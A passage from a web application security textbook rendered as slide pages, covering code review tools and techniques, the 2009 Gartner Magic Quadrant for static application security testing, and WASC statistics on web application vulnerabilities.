  • 233. 232 | P a g e  BugScam - http://sourceforge.net/projects/bugscam  BugScan - http://www.hbgary.com  Veracode - http://www.veracode.com Requirements Management  Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro Site Mirroring  wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.htm l  curl - http://curl.haxx.se  Sam Spade - http://www.samspade.org  Xenu - http://home.snafu.de/tilman/xenulink.html Code Review Techniques  Automatic source code scan:  Text matching in source code  Token matching  Abstract syntax tree analysis  Input/output path analysis  Complexity analysis  Statistical analysis  Do most automatic code scan findings relate to how data is handled in the application, and not so much to the actual behavior and its consequences? Manual code review  Look for specific signs ( text matching)  Attack surface discovery  Input/output path analysis  Component usage and configuration analysis  Authorization logic validation  Custom security constraints, e.g. approval procedures  Privacy issues  Architecture analysis
  • 234. 233 | P a g e Automatic vs. Manual  Manual review by an expert gives  Probably less false negatives  Certainly less false positives  Insight also concerning design and architecture, overall quality etc…  OTOH, automatic review is  Faster  Broader  Repeatable Interpreting automatic analysis results  Every security verification needs conclusions of  results  Is security expertise needed?  Assessing true positives (real findings)  Determining false positives (false alerts)  Estimating false negatives (undiscovered vulnerabilities)  Making sure scanning configuration is correct  Can we get good suggestions on how to remedy vulnerabilities automatically? Enterprise Code Vulnerability Management Cigital’s Enterprise Security Portal (ESP) Cigital’s Enterprise Security Portal (ESP) - Cigital's platform that helps customers deploy large enterprise static analysis solutions while supporting security workflow end-to-end by managing submission, analysis, and reporting. ESP works with most code analysis tools and guides developers effortlessly through submitting all required material. It facilitates reviewer understanding of an application and focuses analysis, handling tedious tasks automatically. It also collates tools' results with the reviewer's, and generates reports without cut-and-paste pain.
  • 235. 234 | P a g e Features and Benefits: Submissions Portal  A single interface for importing source code – streamlining the interaction between development teams and reviewers. By checking for omissions and completeness, the portal ensures submitted code is ready for review, complete to start analysis and provides feedback to developers, eliminating the back-and-forth it typically takes to get reviewable code into the hands of analysts Analysis – Getting Deeper Results  Customized configuration of tools based on ESPTM Robots and tuning that provides the most complete results faster while improving accuracy  Easy configuration of analysis engines and results views—keep your core competency in applications and leverage our core competency in technology
  • 236. 235 | P a g e Reporting  Generate reports in Microsoft Word, OpenXML, and XHTML—get data into defect tracking, scrums, and dashboards quickly and easily  Ability to merge findings from multiple tools, such as Fortify, AppScan Source or AppScan Standard—easily double-check questionable results, leverage investments made in various groups, and quickly aggregate independent pockets of activity It takes good preparation to make things simple. When you make a process simpler, you save time, improve quality, and reduce cost. Cigital’s ESP is a flexible framework that makes static and dynamic tools truly effective providing a new approach to a perennial problem—we took something truly difficult to get right and made it practical for everyone to do.
  • 237. 236 | P a g e Web Application Gartnet Magic Quadrant Market Overview This is the first Magic Quadrant for the SAST market. The SAST market leaders are smaller, innovative, security-focused vendors (Fortify Software and Ounce Labs) that provide static security testing tools as their primary offerings. Both of these vendors offer broad language support and integration into a variety of software life cycle (SLC) platforms. However, the majority of SLC platform vendors will recognize the need to add security testing capabilities to their platforms and perform this integration over the next several years. Most of the large SLC vendors (for example, HP and IBM) have taken steps in that direction (Microsoft has some basic capabilities). Yet, in all these cases, the offerings fall short of the breadth of coverage options available from dedicated point-solution vendors. Also challenging the market leaders are SLC vendors that focus on overall application quality testing tools, where security is treated as one aspect of application quality (for example, Coverity, Klocwork, Parasoft and Compuware). These vendors are able to sell security testing capabilities to their installed base, typically to the same development teams that were interested in application quality. The notion of application “resilience” and “robustness” spans quality and security issues. For some customers already using these tools, working with these vendors becomes an easy and pragmatic way to add security testing to their environments. The market for SAST will experience significant changes: • Commoditizationofsomecapabilities • Consolidationoffeaturesandproducts • Deliveryoftestingasaservice • IntegrationofSASTatlittleornocostinto SLC platforms Enterprises considering SAST should expect ongoing market and product consolidation, as well as downward pricing pressures during the next 24 months. The difficult economic conditions of 2009 (that are likely to extend into 2010) will place tremendous pressure on smaller vendors of SAST point solutions. As with any contract negotiation, organizations are advised to include appropriate protection clauses in their contracts in the event of a vendor merger, acquisition or failure. We recommend contract terms of no longer than 24 months.
  • 238. 237 | P a g e Delivering security testing as a service is a growing area of interest for Gartner clients as a way to reduce upfront costs and to augment limited internal resources. Indeed, one of the vendors, Veracode, offers SAST capabilities only as a service. Testing as a service will have a significant impact on the application security market. During the next 18 months, most application security testing vendors will offer their SAST, as well as dynamic application security testing (DAST), solutions optionally or exclusively as a service. Increasingly, we hear from organizations that prefer to use a product and a service from the SAST vendor. For example, they test critical applications but use services to augment the testing for less-critical applications, or they start with services and then make the transition to a product as their staff gains experience. Another significant trend is the ability of SAST solutions to scan applications where the source code is unavailable. At a minimum, SAST solutions that scan Java and .NET code should be able to scan the byte code representations of the actual source code. This capability is straightforward and should be required in any vendor’s offering that scans Java and .NET applications. Veracode is the only vendor that has delivered the capability to scan executable code in its binary format. This is an important area, especially in software architectures where calls are made to programs — such as packaged applications, services subscribed to over the Internet and dynamic link libraries — whose source code is unavailable for security testing, but for which binaries are available. With this approach, users must analyze the code in its compiled state so challengers leaders niche players visionaries completeness of vision As of February 2009:  Fortify Software  Ounce Labs  HP  IBM  Veracode  Compuware  Microsoft  Kloowork  Parasoft  Coverity
  • 239. 238 | P a g e Ability to execute: Figure 1. Magic Quadrant for Static Application Security Testing Source: Gartner That any externally included library- or platform-specific problems can be identified. Thus, this capability is useful even when source code is available. The SAST market risks disappearing as a stand-alone market during the next five to seven years as the major SLC platform providers supply SAST technologies or acquire SAST startup vendors. The proper place for application security testing is in the SLC process. Most organizations will consume SAST via security testing capabilities integrated with SLC platforms, especially if SAST capabilities are included with the SLC platform at little or no additional perceived cost. Magic Quadrant Overview
  • 240. 239 | P a g e Two vendors are in the Leaders quadrant: • Fortify has a broader vision and greater ability to execute than Ounce Labs. To keep its leadership and remain independent, Fortify should acquire or build in-depth DAST capabilities in addition to its SAST offering, and also become a full-fledged testing-as-a- service provider. An alternative is for the vendor to be acquired by a large SLC platform vendor, preferably a leader in DAST, to combine leadership in SAST and DAST in one vendor offering. • Ounce Labs could streng then its position by adding DAST capabilities, partnerships and expanded testing-as-a-service offerings. An alternative is for the vendor to be acquired by a large SLC platform vendor, preferably a leader in DAST, to combine leadership in SAST and DAST in one vendor offering. Considering that it is positioned lower than Fortify in vision and execution, Ounce Labs should act faster and more decisively than it is doing now. Several vendors are grouped closely around the center of the Magic Quadrant. They have the potential to move into other quadrants and, most importantly, into the Leaders quadrant. To realize that potential: • HP and IBM should substantially increase SAST capabilities to fulfill their leadership ambitions in the overall application security space. Each vendor’s vision and execution in SAST should increase substantially to match its leadership in the DAST market (which was made through acquisitions). Currently, they are lagging behind the SAST market leaders in vision and execution. That gap should be bridged by acquisitions (a fast approach) or internal technology development (a longer approach). Both vendors should develop SAST testing-as-a-service offerings that leverage their worldwide presence — HP with the acquisition of EDS, and IBM with its Global Services organization. • Veracode should modify/enhance some aspects of its vision to attract more clients — for example, by providing a version of its technology for organizations that want to perform testing • themselves. Veracode should invest maximum efforts to improve its execution capabilities and do it rapidly, considering its smaller size and emerging competition from larger vendors. • Coverity and Klocwork should consider making security analysis (rather than quality analysis) their strategic objective; focus on expanding their capabilities that address the needs of mainstream enterprises, in addition to specialized software and hardware vendors; and grow their security revenue. Also, each vendor should develop DAST capabilities and strengthen the appeal of its offerings outside its installed base. • Parasoft should grow awareness and strengthen the application-security reputation among its enterprise prospects, develop broader security testing capabilities with
  • 241. 240 | P a g e offerings and packaging that appeal to all enterprises, reach beyond its installed base, and expedite the rate of growth to match startup vendors, such as Fortify and Coverity.
  • 242. 241 | P a g e WASC Web App Security Statistics Summary The statistics includes data about 12186 web applications with 97554 detected vulnerabilities of different risk levels. The analysis shows that more than 13%* of all reviewed sites can be compromised completely automatically. About 49% of web applications contain vulnerabilities of high risk level (Urgent and Critical) detected during automatic scanning (T. 1). However, detailed manual and automated assessment by white box method allows to detect these high risk level vulnerabilities with probability up to 80-96%. The probability to detect vulnerabilities with risk level more than medium (PCI DSS compliance level) is more than 86% by any method. At the same time, detailed analysis shows that 99% of web applications are not compliant with PCI DSS standard (T. 6, P. 13). * Web applications with Brute Force Attack, Buffer Overflow, OS Commanding, Path Traversal, Remote File Inclusion, SSI Injection, Session Fixation, SQL Injection, Insufficient Authentication, Insufficient Authorization vulnerabilities detected by automatic scanning. The following conclusions can be drawn based on the analysis:  The most wide spread vulnerabilities are Cross-site Scripting, different types of Information Leakage, SQL Injection, HTTP Response Splitting;  The probability to detect a urgent or critical error in dynamic web application is about 49% by automatic scanning and 96% by comprehensive expert analysis (white box method);  Administration issues are 20% more frequent cause of a vulnerability than system development errors;  99% of web application are not compliant with PCI DSS standard requirements, and 48% of web applications are not compliant with criteria of ASV scanning by PCI DSS;  Detailed white box method analysis allows to detect up to 91 vulnerabilities per web application, while automatic scanning – only 3;  Compared to 2007, the number of sites with wide spread SQL Injection and Cross-site Scripting vulnerabilities fell by 13% and 20%, respectively, however, the number of sites with different types of Information Leakage rose by 24%. On the other hand, the probability to compromise a host automatically rose from 7 to 13 %.
  • 243. 242 | P a g e Data analysis General analysis T. 1 and P. 1 show the probability to detect vulnerabilities of different risk levels detected during audits and automatic scanning. Thus, automatic scanning detected up to 86% sites with one or some vulnerabilities of medium (or higher) risk level (Urgent-High). Black box and white box analysis methods increase it to 92-98%, respectively. These results are greatly depend on the fact that detailed risk assessment analysis is more adequate and consider not only vulnerability type but its exploitation consequences and application design and implementation. Another important fact is that automatic scanning was made for hosting provider sites which in some cases have no active content, while security assessment is usually done for application with complicated business logic. That is that automatic scanning results can be interpret as typical Internet site scanning results, while black box and white box methods results are scanning results of interactive corporate web applications. P. 1 The probability to detect vulnerabilities of different risk levels T. 1 The probability to detect vulnerabilities of different risk levels classes
  • 244. 243 | P a g e ALL Scans BlackBox WhiteBox Urgent 18.77% 16.70% 19.69% 50.00% Critical 45.22% 39.25% 74.76% 92.00% High 72.27% 73.09% 58.51% 62.00% Medium 36.56% 40.19% 12.05% 24.00% Low 29.69% 34.45% 0.10% 4.00% U+C 55.50% 49.40% 79.73% 96.00% U+C+H 87.66% 86.30% 95.66% 98.84% The most widespread vulnerabilities are Cross-Site Scripting, Information Leakage, SQL Injection, Insufficient Transport Layer Protection, Fingerprinting и HTTP Response Splitting (P. 2). As a rule, Cross- Site Scripting, SQL Injection and HTTP Response Splitting vulnerabilities are caused by design errors, while Information Leakage, Insufficient Transport Layer Protection and Fingerprinting are often caused by insufficient administration (e.g., access control). P. 2 The most widespread vulnerabilities in web applications (% Vulns ALL)
  • 245. 244 | P a g e P. 3 The probability to detect the most widespread vulnerabilities in web applications (% Sites ALL) P. 4 Percent of vulnerabilities out of total number of vulnerabilities (% Vulns ALL)
  • 246. 245 | P a g e If we consider vulnerability origin as a whole (according to classification in Appendix 2) we’ll see that vulnerabilities caused by insufficient administration are 20% more frequent (P. 5). At the same time, there are up to 4 issues per site caused by administration flaws and up to 8 vulnerabilities caused by design errors (T. 2). T. 2 The probability to detect vulnerabilities depending on vulnerability origin No. of Vulns No. of Sites % Vulns % Sites No. Vulns on Site Vulnerability in administration 41859 10347 42.91% 84.91% 4.05 Vulnerability in code 55695 7023 57.09% 57.63% 7.93 Less than 60% of vulnerabilities are in code